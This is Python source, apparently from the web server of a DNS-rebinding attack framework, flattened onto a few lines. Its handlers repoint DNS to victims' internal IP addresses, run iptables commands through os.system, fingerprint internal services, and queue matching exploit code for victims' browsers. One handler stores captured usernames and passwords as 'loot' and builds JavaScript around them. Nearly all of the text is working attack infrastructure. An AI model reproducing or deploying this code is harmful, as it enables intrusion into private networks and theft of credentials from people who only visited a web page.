async def attack(self, hostname, ip, localip, port, args): response = await ipc.async_http_raw( "POST", SOCK_WEBSERVER, "/new/attack/{}/{}/{}/{}".format(ip, localip, port, hostname)) if ipc.response_valid(response, dict) is False: logger.error( "Unable to get attack value, resp {}".format(response)) return None resp = response["text"] browser = args.get("browser", "Unknown") if browser == "IE" or browser == "Edge": response = await ipc.async_http_raw( "POST", SOCK_DNS, "/add/dynamic/ms/{}/{}".format(resp["domain"], localip)) clientid = misc.hostname2id(hostname) childid = misc.hostname2id(resp["domain"]) response = await ipc.async_http_raw( "POST", SOCK_DATABASE, "/new/attack/value/{}/{}/{}/{}".format(clientid, childid, localip, port)) # Store which browser is used tmp = await self.store_browser(browser, clientid) return {"redirect": resp["redirect"]}
async def store_json(self, request, host, modid): clientid = misc.hostname2id(host) data = request.json data = {modid: data} response = await ipc.async_http_raw( "POST", SOCK_DATABASE, "/merge/json/{}/dump".format(clientid), json.dumps(data)) if ipc.response_valid(response, dict): return sanic.response.json(response["text"]) return sanic.response.text("Error", status=500)
async def new_commands(self, request, hostname): clientid = misc.hostname2id(hostname) response = await ipc.async_http_raw( "POST", SOCK_DATABASE, "/pop/value/{}/exploit_queue".format(clientid)) # TODO: Gå gjennom all error-checkers, response.get("text", dict) makes no sense if ipc.response_valid(response, str): return sanic.response.text(response["text"]) logger.error( "Unable to get new commands for client {}".format(clientid)) return sanic.response.text("", status=200)
def host2clientid(self, request): try: host = request.headers["Host"] except: raise ServerError("Host-header was not present") # This check is not foolproof, but it only need to be good enough to catch errors in test # environment assert len(host.split(".")) > 2 clientid = misc.hostname2id(host) assert clientid != "www" return clientid
async def dns_change(self, request, ip_addr): host = self.host2hostname(request) clientid = misc.hostname2id(host) # Notify that this host has connected response = await ipc.async_http_raw( "POST", SOCK_DATABASE, "/store/value/{}/connected/true".format(clientid)) if network.internal_ip(ip_addr) is False: return sanic.response.text(b"Public IP is not allowed", status=403) # Get browser and act accordingly browser = request.raw_args.get("browser", "Unknown") await self.store_browser(browser, clientid) # For MS-browsers we must block the client from accessing the port if browser == "IE" or browser == "Edge": assert network.validIPv4(request.ip) delete = IPTABLES_INSERT.format("-D INPUT", request.ip, self.config["interface"], self.port) insert = IPTABLES_INSERT.format("-I INPUT 1", request.ip, self.config["interface"], self.port) logger.info("Running command: {}".format(insert)) os.system(insert) # Create rule # Get timeout count try: timeout = int(request.raw_args.get("timer", "30")) except: timeout = 30 # Create timer to delete rule # TODO: 30 seconds is not optimal, client could also report when done logger.info("Creating timer to run command: {}".format(delete)) call = threading.Timer(timeout, os.system, (delete, )) call.start() return sanic.response.json(RETURN_OK) else: response = await ipc.async_http_raw( "POST", SOCK_DNS, "/add/dynamic/{}/{}".format(host, ip_addr)) if ipc.response_valid(response, dict): return sanic.response.json(RETURN_OK) return sanic.response.text("Unspecified error", status=500)
async def store_loot(self, request, host): clientid = misc.hostname2id(host) data = request.json if "USERNAME" in data and "USERPASS" in data: jscode = """Network.request_sd("GET", "/", null, function(xhr) {{ TalkHome.service_detection(xhr, "{}", "{}")}}, "{}", "{}");""".format( request.host, host, data["USERNAME"], data["USERPASS"]) res = await self.store_exploit(clientid, jscode.encode()) if ipc.response_valid(res, dict) is False: logger.error( "Unable to store new service detection: {}".format(res)) response = await ipc.async_http_raw( "POST", SOCK_DATABASE, "/merge/json/{}/loot".format(clientid), json.dumps(data)) if ipc.response_valid(response, dict): return sanic.response.json(response["text"]) return sanic.response.text("Error", status=500)
async def service_detection(self, request, rhost): home = request.headers["Host"] clientid = misc.hostname2id(rhost) # Store raw response response = await ipc.async_http_raw( "POST", SOCK_DATABASE, "/store/body/{}/httpresponse".format(clientid), request.body) if ipc.response_valid(response, dict) is False: logger.error( "Unable to store httpresponse for client {}, res {}".format( clientid, response)) return sanic.response.text("", status=404) response = await ipc.async_http_raw("POST", SOCK_SD, "/match", request.body) if ipc.response_valid(response, list): matches = response["text"] # Store matched signatures tmp = await ipc.async_http_raw( "POST", SOCK_DATABASE, "/store/json/{}/product".format(clientid), json.dumps(matches)) if ipc.response_valid(tmp, dict) is False: logger.error( "Unable to store product {} for client {}, res: {}".format( json.dumps(matches), clientid, tmp)) # We still continue for match in matches: response = await ipc.async_http_raw( "GET", SOCK_MODULES, "/search/exploits/product?" + urlencode(match)) if ipc.response_valid(response, list): exploits = list(set(response["text"])) tmp = await ipc.async_http_raw( "POST", SOCK_DATABASE, "/append/list/{}/matched_modules".format(clientid), json.dumps(exploits)) if ipc.response_valid(tmp, dict) is False: logger.error( "Unable to store matched_modules for {}, res {}". format(clientid, tmp)) tmp = await ipc.async_http_raw( "GET", SOCK_DATABASE, "/get/json/{}/loot".format(clientid)) if ipc.response_valid(tmp, dict): args = tmp["text"] else: args = {} args["HOME"] = home for exploit in exploits: tmp = await ipc.async_http_raw( "GET", SOCK_MODULES, "/module/matches/{}".format(exploit)) # Only if classification matches should we get code for it if ipc.response_valid(tmp, dict): if tmp["text"].get("match") is True: response = await ipc.async_http_raw( "GET", SOCK_MODULES, "/exploit/code/{}?{}".format( exploit, urlencode(args))) if ipc.response_valid(response, str): await self.store_exploit( clientid, response["text"].encode()) else: return sanic.response.text( "String is not returned", status=500) return sanic.response.json(RETURN_OK) return sanic.response.json(RETURN_ERROR)
async def module_finished(self, _request, host, modid, result): clientid = misc.hostname2id(host) response = await ipc.async_http_raw( "POST", SOCK_DATABASE, "/append/value/{}/{}/{}".format(clientid, result, modid)) return sanic.response.json(RETURN_OK)